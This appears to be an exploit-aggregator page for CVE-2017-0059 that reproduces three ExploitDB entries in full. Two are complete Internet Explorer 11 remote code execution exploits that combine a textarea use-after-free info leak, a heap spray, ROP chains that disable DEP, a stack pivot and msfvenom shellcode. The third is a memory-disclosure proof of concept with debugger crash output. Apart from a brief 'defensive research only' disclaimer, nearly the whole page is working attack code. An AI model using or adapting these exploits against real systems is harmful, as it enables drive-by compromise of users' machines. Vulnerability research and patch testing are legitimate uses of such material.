Materialized exploit
CVE-2017-0059
HIGH KEV3 public exploit(s) for this CVE, 3 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
remote windows_x86 Verified
Source
Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007)
By mschenk
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code html
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var ntdllBase = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
ntdllBase = addr - 0x000d8560;
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
spray();
boom();
}, 1000);
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function spray()
{
var hso = document.createElement("div");
var junk = unescape("%u0e0e%u0e0e");
while(junk.length < 0x1000) junk += junk;
//ntdll prefered base addr = 0x77ec0000
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
var rop = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0004
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
writeu(0, 0x12345678) + //junk into esi
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
writeu(0, 0x12345678) + //junk into ebp
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(0, 0x12345678) + //junk to account for retn 0x0008
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
writeu(0, 0xffffffff) + //process handle (-1)
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
writeu(0, 0x0e0e0e3e) + //pointer to size
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
writeu(0, 0x0e0e0e0a) //addr to write old protection value
);
//Shellcode
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
//stack pivot
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
//first stage ROP chain to do bigger stack pivot
var pivot = unescape(
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
writeu(0, 0x12345678) + //junk offset for retn 0x0004
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
);
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
data += junk.substring(0, 0x800 - offset - xchg.length);
while(data.length < 0x80000) data += data;
for(var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
</form>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>
ExploitDB
dos windows Verified
Source
Microsoft Internet Explorer 11 - 'textarea.defaultValue' Memory Disclosure (MS17-006)
By Google Security Research
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
Code html
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1076
There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38)
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
alert("Text value freed, can be reallocated here");
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!--
=========================================
Please also see the attached screenshots that demonstrate using the PoC for memory disclosure.
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled. In that case IE crashes at
(b5c.f44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10abbff8 ebx=00000002 ecx=10abbff8 edx=10abbff8 esi=0e024ffc edi=00000000
eip=7582c006 esp=0a3aac48 ebp=0a3aac54 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msvcrt!wcscpy_s+0x46:
7582c006 0fb706 movzx eax,word ptr [esi] ds:002b:0e024ffc=????
0:008> k
# ChildEBP RetAddr
00 0a3aac54 7198e8f0 msvcrt!wcscpy_s+0x46
01 0a3aad48 7189508e MSHTML!CElement::InjectInternal+0x6fa
02 0a3aad88 7189500c MSHTML!CRichtext::SetValueHelperInternal+0x79
03 0a3aada0 71894cf9 MSHTML!CRichtext::DoReset+0x3f
04 0a3aae24 71894b73 MSHTML!CFormElement::DoReset+0x157
05 0a3aae40 706c05da MSHTML!CFastDOM::CHTMLFormElement::Trampoline_reset+0x33
06 0a3aaeb0 706b6d73 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x19d
07 0a3aaef8 706baa24 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
08 0a3ab19c 7071451a jscript9!Js::InterpreterStackFrame::Process+0x3a10
09 0a3ab1d4 70714579 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49
0a 0a3ab478 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x49a8
0b 0a3ab5b4 09780fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
WARNING: Frame IP not in any known module. Following frames may be wrong.
0c 0a3ab5c0 706bda16 0x9780fd9
0d 0a3ab868 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x1e62
0e 0a3ab984 09780fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
0f 0a3ab990 706b6d73 0x9780fe1
10 0a3ab9dc 706b73a8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
11 0a3aba50 706b72dd jscript9!Js::JavascriptFunction::CallRootFunction+0xb5
12 0a3aba98 706b7270 jscript9!ScriptSite::CallRootFunction+0x42
13 0a3abae4 7086d8f8 jscript9!ScriptSite::Execute+0xd2
14 0a3abb48 7165a587 jscript9!ScriptEngineBase::Execute+0xc7
15 0a3abc04 7165a421 MSHTML!CListenerDispatch::InvokeVar+0x15a
16 0a3abc30 7165a11c MSHTML!CListenerDispatch::Invoke+0x6d
17 0a3abcd0 7165a286 MSHTML!CEventMgr::_InvokeListeners+0x210
18 0a3abce8 7165a1ad MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42
19 0a3abd78 71659f1b MSHTML!CEventMgr::_InvokeListeners+0x150
1a 0a3abedc 714df1d7 MSHTML!CEventMgr::Dispatch+0x4d5
1b 0a3abf08 71969808 MSHTML!CEventMgr::DispatchEvent+0x90
1c 0a3abf40 7132de1f MSHTML!COmWindowProxy::Fire_onload+0x146
1d 0a3abfa0 7132df9c MSHTML!CMarkup::OnLoadStatusDone+0x5c0
1e 0a3abfbc 7132cd31 MSHTML!CMarkup::OnLoadStatus+0xed
1f 0a3ac400 714e8062 MSHTML!CProgSink::DoUpdate+0x48d
20 0a3ac40c 712de2f9 MSHTML!CProgSink::OnMethodCall+0x12
21 0a3ac45c 712ddcfa MSHTML!GlobalWndOnMethodCall+0x16c
22 0a3ac4b0 759962fa MSHTML!GlobalWndProc+0x103
23 0a3ac4dc 75996d3a user32!InternalCallWinProc+0x23
24 0a3ac554 759977c4 user32!UserCallWinProcCheckWow+0x109
25 0a3ac5b4 7599788a user32!DispatchMessageWorker+0x3b5
26 0a3ac5c4 726da99c user32!DispatchMessageW+0xf
27 0a3af794 7277ec38 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
28 0a3af854 765182ec IEFRAME!LCIETab_ThreadProc+0x3e7
29 0a3af86c 73f73a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
2a 0a3af8a4 75e0336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
2b 0a3af8b0 77b19902 kernel32!BaseThreadInitThunk+0xe
2c 0a3af8f0 77b198d5 ntdll!__RtlUserThreadStart+0x70
2d 0a3af908 00000000 ntdll!_RtlUserThreadStart+0x1b
where the old value was deleated at
0:008> !heap -p -a 0e024ffc
address 0e024ffc found in
_DPH_HEAP_ROOT @ f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
dd03820: e024000 2000
7417947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
77bb126b ntdll!RtlDebugReAllocateHeap+0x00000033
77b6de86 ntdll!RtlReAllocateHeap+0x00000054
71ba761f MSHTML!CTravelLog::_AddEntryInternal+0x00000215
71b8f48d MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
71b8f446 MSHTML!_HeapRealloc<0>+0x00000011
7162deea MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
71678877 MSHTML!CBase::put_StringHelper+0x0000004d
71fc6d60 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
706c05da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
706c0f77 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
706c0eb4 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
70710cd3 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
70710b26 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
70710ba6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
706ba60e jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
706bdbe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
Note: because the text allocations aren't protected by MemGC and happen on the process heap, use-after-free bugs dealing with text allocations are still exploitable.
Screenshots:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41661.zip
-->
ExploitDB
remote windows_x86-64
Source
Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007)
By redr2e
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code html
<!DOCTYPE html>
<html>
<head>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
var base_leaked_addr = "";
function infoleak() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replaced here
// one of the side allocations of the audio element
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
function writeu(base, offs) {
var res = 0;
if (base != 0) { res = base + offs }
else { res = offs }
res = res.toString(16);
while (res.length < 8) res = "0"+res;
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
}
function readu(value) {
var uc = escape(value);
var ucsplit = uc.split('%');
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
return res;
}
function spray() {
// DEPS technique used here - avoid null bytes
var hso = document.createElement("div");
base_leaked_addr = parseInt(base_leaked_addr,16);
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape(
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x56341) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffff) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x4e385) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2030f) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(0,0xf07645d5) +
writeu(base_leaked_addr,0x6e002) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0xaebc) +
writeu(base_leaked_addr,0x9b7c) +
writeu(0,0xffffffbf) +
writeu(base_leaked_addr,0x2a89e) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x6361b) +
writeu(base_leaked_addr,0x432cf) +
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x5cef1) +
writeu(base_leaked_addr,0x4177e) +
writeu(base_leaked_addr,0x9b7c) +
writeu(base_leaked_addr,0x1244) +
writeu(base_leaked_addr,0xa819) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x2720b) +
"" );
/*
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
Library used "propsys.dll", part of the Windows Search functionality (?)
and last updated Nov 2010. I think it's a good target for our needs.
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced
</script>
</head>
<body onload=infoleak()>
<form id="form">
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
</form>
<script>
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th>
<th class="class2" width=0><div class="class2"></div></th>
</table>
</body>
</html>